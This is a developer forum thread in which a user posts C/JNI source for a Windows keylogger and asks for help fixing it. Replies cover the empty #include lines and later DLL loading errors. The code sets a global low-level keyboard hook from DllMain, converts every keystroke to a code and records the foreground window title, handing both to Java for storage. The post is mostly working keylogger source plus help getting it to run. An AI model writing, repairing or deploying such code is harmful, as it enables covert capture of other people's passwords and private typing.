Can someone please rectify the mistakes in the following code?

Thanks in advance

    #include 
    #include
    #include
    #include "org_suhail_keylogger_HelperClasses_NativeMethods.h"
    #include "KeyMap.h"

    static HANDLE hookThreadHandle = NULL;
    static HHOOK handleKeyboardHook = NULL;
    static DWORD hookThreadId = 0;
    static jmethodID callBackToDeliverKeyStroke = NULL;
    static jmethodID callBackToStoreKeyStrokesAsHtml = NULL;
    static jmethodID callBackToStoreWindowName = NULL;
    jobject object;
    static JavaVM *JVM = NULL;

    static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if(nCode >= 0 ) {
        if(  wParam == WM_KEYDOWN  || wParam == WM_SYSKEYDOWN ) {
            JNIEnv *Env;
            (*JVM)->AttachCurrentThread(JVM,&Env,NULL);
            wchar_t buff[10];
            BYTE keyState[256] = {0};
            KBDLLHOOKSTRUCT * kbhook = (KBDLLHOOKSTRUCT *) lParam;
            int result = ToUnicodeEx(   kbhook->vkCode,
                                        kbhook->scanCode,
                                        keyState,
                                        buff,
                                        10,
                                        0,
                                        NULL);
            int CTBS = 0;

            switch(kbhook->vkCode) {
            case 48:    // zero
                CTBS = org_suhail_keylogger_map_zero;
                break;
            case 49: // one
                CTBS = org_suhail_keylogger_map_one;
                break;
            case 50: // two
                CTBS = org_suhail_keylogger_map_two;
                break;
            case 51: // three
                CTBS = org_suhail_keylogger_map_three;
                break;
            case 52: // four
                CTBS = org_suhail_keylogger_map_four;
                break;
            case 53: // five
                CTBS = org_suhail_keylogger_map_five;
                break;
            case 54: // six
                CTBS = org_suhail_keylogger_map_six;
                break;
            case 55: // seven
                CTBS = org_suhail_keylogger_map_seven;
                break;
            case 56: // eight
                CTBS = org_suhail_keylogger_map_eight;
                break;
            case 57: // nine
                CTBS = org_suhail_keylogger_map_nine;
                break;

            case 81: // q
                CTBS = org_suhail_keylogger_map_q;
                break;
            case 87: // w
                CTBS = org_suhail_keylogger_map_w;
                break;
            case 69: // e
                CTBS = org_suhail_keylogger_map_e;
                break;
            case 82: // r
                CTBS = org_suhail_keylogger_map_r;
                break;
            case 84: // t
                CTBS = org_suhail_keylogger_map_t;
                break;
            case 89: // y
                CTBS = org_suhail_keylogger_map_y;
                break;
            case 85: // u
                CTBS = org_suhail_keylogger_map_u;
                break;
            case 73: // i
                CTBS = org_suhail_keylogger_map_i;
                break;
            case 79: // o
                CTBS = org_suhail_keylogger_map_o;
                break;
            case 80: // p
                CTBS = org_suhail_keylogger_map_p;
                break;
            case 65: // a
                CTBS = org_suhail_keylogger_map_a;
                break;
            case 83: // s
                CTBS = org_suhail_keylogger_map_s;
                break;
            case 68: // d
                CTBS = org_suhail_keylogger_map_d;
                break;
            case 70: // f
                CTBS = org_suhail_keylogger_map_f;
                break;
            case 71: // g
                CTBS = org_suhail_keylogger_map_g;
                break;
            case 72: // h
                CTBS = org_suhail_keylogger_map_h;
                break;
            case 74: // j
                CTBS = org_suhail_keylogger_map_j;
                break;
            case 75: // k
                CTBS = org_suhail_keylogger_map_k;
                break;
            case 76: // l
                CTBS = org_suhail_keylogger_map_l;
                break;
            case 90: // z
                CTBS = org_suhail_keylogger_map_z;
                break;
            case 88: // x
                CTBS = org_suhail_keylogger_map_x;
                break;
            case 67: // c
                CTBS = org_suhail_keylogger_map_c;
                break;
            case 86: // v
                CTBS = org_suhail_keylogger_map_v;
                break;
            case 66: // b
                CTBS = org_suhail_keylogger_map_b;
                break;
            case 78: // n
                CTBS = org_suhail_keylogger_map_n;
                break;
            case 77: // m
                CTBS = org_suhail_keylogger_map_m;
                break;

            case 32:     // space
                CTBS = org_suhail_keylogger_map_space;
                break;
            case 188: // comma
                CTBS = org_suhail_keylogger_map_Comma;
                break;
            case 190: // dot
                CTBS = org_suhail_keylogger_map_Dot;
                break;
            case 191: // forward slash
                CTBS = org_suhail_keylogger_map_ForwardSlash;
                break;
            case 186: // semi colon
                CTBS = org_suhail_keylogger_map_SemiColon;
                break;
            case 222: // quotation mark
                CTBS = org_suhail_keylogger_map_QuotationMark;
                break;
            case 219: // left square bracket
                CTBS = org_suhail_keylogger_map_LeftSquareBracket;
                break;
            case 221: // right square bracket
                CTBS = org_suhail_keylogger_map_RightSquareBracket;
                break;
            case 220: // backward slash
                CTBS = org_suhail_keylogger_map_Backslash;
                break;
            case 162: // LeftControl
                CTBS = org_suhail_keylogger_map_LeftControl;
                break;
            case 160: // LeftShift
                CTBS = org_suhail_keylogger_map_LeftShift;
                break;
            case 20:  // CapsLock
                CTBS = org_suhail_keylogger_map_CapsLock;
                break;
            case 9:   // tab
                CTBS = org_suhail_keylogger_map_tab;
                break;
            case 8:   // backspace
                CTBS = org_suhail_keylogger_map_Backspace;
                break;
            case 36:  // home
                CTBS = org_suhail_keylogger_map_Home;
                break;
            case 33:  // page up
                CTBS = org_suhail_keylogger_map_PageUp;
                break;
            case 34:  // page down
                CTBS = org_suhail_keylogger_map_PageDown;
                break;
            case 35:  // end
                CTBS = org_suhail_keylogger_map_End;
                break;
            case 38:  // up arrow
                CTBS = org_suhail_keylogger_map_UpArrow;
                break;
            case 39:  // right arrow
                CTBS = org_suhail_keylogger_map_RightArrow;
                break;
            case 40:  // down arrow
                CTBS = org_suhail_keylogger_map_DownArrow;
                break;
            case 37:  // left arrow
                CTBS = org_suhail_keylogger_map_LeftArrow;
                break;
            case 91:  // window key
                CTBS = org_suhail_keylogger_map_Window;
                break;
            case 161: // Right Shift
                CTBS = org_suhail_keylogger_map_RightShift;
                break;
            case 163: // Right Control
                CTBS = org_suhail_keylogger_map_RightControl;
                break;
            case 164: // Left Alt
                CTBS = org_suhail_keylogger_map_LeftAlt;
                break;
            case 165: // Right Alt
                CTBS = org_suhail_keylogger_map_RightAlt;
                break;
            case 46 : // delete
                CTBS = org_suhail_keylogger_map_Delete;
                break;
            case 45:  // insert
                CTBS = org_suhail_keylogger_map_Insert;
                break;
            case 27:  // escape
                CTBS = org_suhail_keylogger_map_Escape;
                break;
            case 255: // Wifi Key
                CTBS = org_suhail_keylogger_map_Wifi;
                break;

            case 112: // F1
                CTBS = org_suhail_keylogger_map_f1;
                break;
            case 113: // F2
                CTBS = org_suhail_keylogger_map_f2;
                break;
            case 114: // F3
                CTBS = org_suhail_keylogger_map_f3;
                break;
            case 115: // F4
                CTBS = org_suhail_keylogger_map_f4;
                break;
            case 116: // F5
                CTBS = org_suhail_keylogger_map_f5;
                break;
            case 117: // F6
                CTBS = org_suhail_keylogger_map_f6;
                break;
            case 118: // F7
                CTBS = org_suhail_keylogger_map_f7;
                break;
            case 119: // F8
                CTBS = org_suhail_keylogger_map_f8;
                break;
            case 120: // F9
                CTBS = org_suhail_keylogger_map_f9;
                break;
            case 121: // F10
                CTBS = org_suhail_keylogger_map_f10;
                break;
            case 122: // F11
                CTBS = org_suhail_keylogger_map_f11;
                break;
            case 123: // F12
                CTBS = org_suhail_keylogger_map_f12;
                break;

            default:
                CTBS = 2111; // signifies unknown key u = 21 k = 11
            }
            jvalue code,*arr;
            code.i = CTBS;
            arr = &code;
            (*Env)->CallVoidMethodA(Env,object,callBackToStoreKeyStrokesAsHtml,arr);
            WCHAR  title[500];
            int length = GetWindowTextW(GetForegroundWindow(), title, 500);
            jstring windowName = (*Env)->NewString(Env,(jchar*)title,length);
            jvalue param;
            param.l = windowName;
            (*Env)->CallVoidMethodA(Env,object,callBackToStoreWindowName,¶m);
        }
        }

        return CallNextHookEx(handleKeyboardHook, nCode, wParam, lParam);
    }

    BOOL WINAPI installHook(HINSTANCE hinstDLL, DWORD fwdReason, LPVOID lpvReserved) {
        handleKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hinstDLL, 0);
        MSG msg;

        while(GetMessage(&msg, NULL, 0, 0)){
        TranslateMessage(&msg);
        DispatchMessage(&msg);
        }
        return msg.wParam;
    }

    BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fwdReason, LPVOID lpvReserved) {
        if(hookThreadHandle==NULL) {
            LPTHREAD_START_ROUTINE lpStartAddress = &installHook;
            hookThreadHandle = CreateThread(NULL, 0, lpStartAddress, NULL, 0, &hookThreadId);
        }
        return TRUE;
    }

    void Java_org_suhail_keylogger_HelperClasses_NativeMethods_unregisterHook
    (JNIEnv *env, jobject obj) {
        if(handleKeyboardHook != NULL) {
            UnhookWindowsHookEx(handleKeyboardHook);
        }
    }
    void Java_org_suhail_keylogger_HelperClasses_NativeMethods_initializeJNIVars
    (JNIEnv *env, jobject obj) {
        jclass cls = (*env)->GetObjectClass(env,obj);
        callBackToDeliverKeyStroke = (*env)->GetMethodID(env,cls,"displayKeyStrokes","()V");
        callBackToStoreKeyStrokesAsHtml = (*env)->GetMethodID(env,cls,"storeKeyStrokesInList","(I)V");
        callBackToStoreWindowName = (*env)->GetMethodID(env,cls,"storeNameOfForegroundWindow","(Ljava/lang/String;)V");
        object = (*env)->NewGlobalRef(env,obj);
        if(object == NULL | callBackToDeliverKeyStroke == NULL | cls == NULL | callBackToStoreKeyStrokesAsHtml == NULL | callBackToStoreWindowName == NULL) {
            printf("Initialization error...One of the variable is Null\n");
        }
    }

    jint JNI_OnLoad(JavaVM *jvm,void *reserved) {
        JVM = jvm;
        return JNI_VERSION_1_4;
    }

Recommended Answers

All 6 Replies

Can someone please rectify the mistakes in the following code?

What specific problems?

I tried to compile it using Netbeans (with C/C++ plugin) and it's showing red marks over the #include directives which donot have any header file after them. And I guess due to some missing directives, the entire code is being marked as red!!

Delete those line, they are not valid c or c++.

well now I am having a problem that my program is unable to load the library. I am using the above C code with java code in JNI framework (Netbeans). I get error at the following line;
System.loadLibrary("DLL_Key");
where DLL_Key is the dynamic library that I have made using Netbeans.
The error says:
Exception in thread "AWT-EventQueue-0" java.lang.UnsatisfiedLinkError: no DLL_Key in java.library.path

I fixed the path and now I am getting the following error:
Exception in thread "AWT-EventQueue-0" java.lang.UnsatisfiedLinkError: C:\Developers\DLL_Key\MainDLL.dll: %1 is not a valid Win32 application

is there something wrong with my c compiling tools? I am using mingw-builds\x32-4.8.1-posix-dwarf-rev5

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.